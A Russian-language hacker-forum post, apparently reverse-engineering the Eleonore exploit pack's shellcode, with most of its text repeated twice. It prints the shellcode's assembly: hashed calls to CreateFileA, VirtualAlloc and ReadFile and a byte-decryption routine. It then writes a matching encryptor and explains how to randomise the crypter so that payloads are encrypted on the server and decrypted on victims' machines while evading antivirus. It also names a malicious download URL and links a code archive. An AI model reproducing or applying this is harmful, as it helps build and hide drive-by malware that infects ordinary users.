очередная история реверса
Условие лицензии – пишу, как обычно на правах нуба..
Все началось с того что на аверских трекерах постоянно маячит парочка Элеонора и Зевс, прям как адам и ева(неразлучные грешники) %)))
Решил познакомицца с это Элеонорой, и начал с нашумевшей темы
http://xss.pro/index.php?topic=18091
первое на что обратил внимание это на несколько постов - два про шелл-кодес и один, про то, что чел(сливший в паблик пак) не имеет никакого отношения к гуано-кодесу
Вообще концепция шелла состоит в том, чтобы делать загрузки на чужом трафе(параллельно), по сути жертве грузиццо сразу целый зоопарк
!предположим!, что "сливший" туда впатчил качка и вот здесь мы заюзаем "его" идею и не только "починим" пак, но и "улучшим" его
Посмотрев на код сразу видно что пак очень слабенький на пробив и это даже без тестов сразу сказать можно(обычный юзер отключив зло js и заюзав простенький локальный прокси.. и связка идет лесом(тут даже AV нах не нужен!)) пробив будет равен 0(5-10 это те, кто как раз не знает как выключить js(утрировано)), но если иметь траф, где юзверей насильно заставляют включить js итд. тут пробив будет 80-90(10-20 баги связки) при условии что связка не палица, но судя тупо по трекеру .!..
Вот такую я формулу вывел за день реверса, (без тестов) как оценивать, пробив связки – ИМХО
Сталобыть пробив, зависит от качества трафа(а именно, где у юзверей все включено!) и качества связки на бажность(и вот это и есть важный фактор для всех связок) – ИМХО (я кстати эти эксплоиты что там есть, даже протестировал на пробив(баги))
сделал значит, реверс этого шелл-кода и действительно есть там зловред в виде линка
http://theyaredead.net/last/cache.php
для тех, кто в танке советую начать чтиво отсюда
http://wasm.ru/forum/viewtopic.php/viewtopic.php?pid=288731
если посмотреть на шелл-код, то можно сразу заметить, что он адин в адин, такой же как в
http://www.opensc.ws/trojan-malware-releas...o-need-buy.html - SPack Lite
а вот что добавлено (часть, которая нам интересна)
В самом шелле, крипт exe сделан не нубом - это без вариантов
но есть один недостаток, а именно при вызове функции VirtualAlloc размер задается 80000h = ~500kb
сталобыть мы пофиксим эту потенциальную багу с помощью вызова функции GetFileSize
+ удалим(на выбор) ExitThread "на том конце роняет.."
и если посмотреть на код, то можно увидеть функцию декрипта, хм.. значит, мы можем рандомно на сервере криптовать двордом exe, а потом его декриптовать на компе жертвы, но это не есть конечное условие мы еще функцию декрипта рандомить в шелле будем
гы-гы, шучу конечно же %)))(ниже "подробнее" ап этом)
для выдачи по бинарному шеллу надо создать отдельный php-файл, назвать как-нить типа page.php
вообщем я все файлы с кодом в один архив поместил ну естественно кому эта тема интересна обязательно читаем README (ЗЫ: гуру там для себя ничего нового не найдет!)
http://demonteam.narod.ru/download/fix_ep.rar
PASS: 666
Теперь я пожалуй напишу, почему я выбрал именно такой подход пхп кода, а именно "эмуляцию" asm-кода
Дело в том, что такой код можно юзать для рандомного генерирования алгоритмов(+eval)
Это проще, чем сделать алгоритм(криптора) в виде одной пхп функции, тут можно рандомно все перестанавливать
Короче чтобы проще объяснить надо пойти от обратного, а именно от функи Decrypt
В ней юзаются асм-команды
XOR обратная XOR
ADD обратная SUB
ROR обратная ROL
NOT обратная NOT
И так далее..
Нам надо сделать все тоже самое, только в обратном порядке
ЗЫЫ: просто сравните их рядом с друг другом(Decrypt и Encrypt) и все сразу увидите..
И теперь далее все просто меняем местами в рандомном порядке и имеем постоянно разный алго криптора-декриптора
Ну сталобыть все
. надеюсь, может кому-то это пригодицца, то что я написал 
Все началось с того что на аверских трекерах постоянно маячит парочка Элеонора и Зевс, прям как адам и ева(неразлучные грешники) %)))
Решил познакомицца с это Элеонорой, и начал с нашумевшей темы
http://xss.pro/index.php?topic=18091
первое на что обратил внимание это на несколько постов - два про шелл-кодес и один, про то, что чел(сливший в паблик пак) не имеет никакого отношения к гуано-кодесу
Вообще концепция шелла состоит в том, чтобы делать загрузки на чужом трафе(параллельно), по сути жертве грузиццо сразу целый зоопарк
!предположим!, что "сливший" туда впатчил качка и вот здесь мы заюзаем "его" идею и не только "починим" пак, но и "улучшим" его
Посмотрев на код сразу видно что пак очень слабенький на пробив и это даже без тестов сразу сказать можно(обычный юзер отключив зло js и заюзав простенький локальный прокси.. и связка идет лесом(тут даже AV нах не нужен!)) пробив будет равен 0(5-10 это те, кто как раз не знает как выключить js(утрировано)), но если иметь траф, где юзверей насильно заставляют включить js итд. тут пробив будет 80-90(10-20 баги связки) при условии что связка не палица, но судя тупо по трекеру .!..
Вот такую я формулу вывел за день реверса, (без тестов) как оценивать, пробив связки – ИМХО
Сталобыть пробив, зависит от качества трафа(а именно, где у юзверей все включено!) и качества связки на бажность(и вот это и есть важный фактор для всех связок) – ИМХО (я кстати эти эксплоиты что там есть, даже протестировал на пробив(баги))
сделал значит, реверс этого шелл-кода и действительно есть там зловред в виде линка
http://theyaredead.net/last/cache.php
для тех, кто в танке советую начать чтиво отсюда
http://wasm.ru/forum/viewtopic.php/viewtopic.php?pid=288731
если посмотреть на шелл-код, то можно сразу заметить, что он адин в адин, такой же как в
http://www.opensc.ws/trojan-malware-releas...o-need-buy.html - SPack Lite
а вот что добавлено (часть, которая нам интересна)
Код:
PUSH 0
PUSH 80h
PUSH 3
PUSH 0
PUSH 3
PUSH 0C0000000h
PUSH ESI
MOV EAX, 7C0017A5h; hash: CreateFileA
CALL DWORD PTR SS:[EBP+18h]; kernel32.CreateFileA
MOV DWORD PTR SS:[EBP+4h],EAX
PUSH 4
PUSH 1000h
PUSH 80000h
PUSH 0
MOV EAX, 91AFCA54h; hash: VirtualAlloc
CALL DWORD PTR SS:[EBP+18h]; kernel32.VirtualAlloc
MOV DWORD PTR SS:[EBP+0Ch],EAX
PUSH EAX
PUSH 0
LEA ECX,DWORD PTR SS:[EBP+8h]
PUSH ECX
PUSH 80000h
PUSH EAX
PUSH DWORD PTR SS:[EBP+4h]
MOV EAX,10FA6516h; hash: ReadFile
CALL DWORD PTR SS:[EBP+18h]; kernel32.ReadFile
POP EDI
MOV EDX,DWORD PTR DS:[EDI]
ADD EDI,4h
MOV ECX,DWORD PTR SS:[EBP+8h]
SUB ECX,4h
CALL Decrypt
[....]
Decrypt:
XOR EAX,EAX
MOV AL,BYTE PTR DS:[EDI]
ROR AL,CL
XOR AL,CL
NOT AL
XOR AL,CH
XOR AL,DL
XOR AL,DH
ROL AL,CL
ADD AL,CL
ADD AL,CH
ADD AL,DL
ADD AL,DH
ROR AL,CL
SUB AL,CL
SUB AL,CH
NOT AL
SUB AL,DL
SUB AL,DH
ROL AL,CL
ROL EDX,CL
BSWAP EDX
MOV BYTE PTR DS:[EDI],AL
INC EDI
DEC ECX
JNZ SHORT Decrypt
RETN
но есть один недостаток, а именно при вызове функции VirtualAlloc размер задается 80000h = ~500kb
сталобыть мы пофиксим эту потенциальную багу с помощью вызова функции GetFileSize
+ удалим(на выбор) ExitThread "на том конце роняет.."
и если посмотреть на код, то можно увидеть функцию декрипта, хм.. значит, мы можем рандомно на сервере криптовать двордом exe, а потом его декриптовать на компе жертвы, но это не есть конечное условие мы еще функцию декрипта рандомить в шелле будем
для выдачи по бинарному шеллу надо создать отдельный php-файл, назвать как-нить типа page.php
вообщем я все файлы с кодом в один архив поместил ну естественно кому эта тема интересна обязательно читаем README (ЗЫ: гуру там для себя ничего нового не найдет!)
http://demonteam.narod.ru/download/fix_ep.rar
PASS: 666
Теперь я пожалуй напишу, почему я выбрал именно такой подход пхп кода, а именно "эмуляцию" asm-кода
Дело в том, что такой код можно юзать для рандомного генерирования алгоритмов(+eval)
Это проще, чем сделать алгоритм(криптора) в виде одной пхп функции, тут можно рандомно все перестанавливать
Короче чтобы проще объяснить надо пойти от обратного, а именно от функи Decrypt
В ней юзаются асм-команды
XOR обратная XOR
ADD обратная SUB
ROR обратная ROL
NOT обратная NOT
И так далее..
Нам надо сделать все тоже самое, только в обратном порядке
Код:
Encrypt:
INC ECX
DEC EDI
MOV AL,BYTE PTR DS:[EDI]
BSWAP EDX
ROR EDX,CL
ROR AL,CL
ADD AL,DH
ADD AL,DL
NOT AL
ADD AL,CH
ADD AL,CL
ROL AL,CL
SUB AL,DH
SUB AL,DL
SUB AL,CH
SUB AL,CL
ROR AL,CL
XOR AL,DH
XOR AL,DL
XOR AL,CH
NOT AL
XOR AL,CL
ROL AL,CL
MOV BYTE PTR DS:[EDI],AL
cmp ecx,26h
JNZ SHORT Encrypt
RETN
И теперь далее все просто меняем местами в рандомном порядке и имеем постоянно разный алго криптора-декриптора
Ну сталобыть все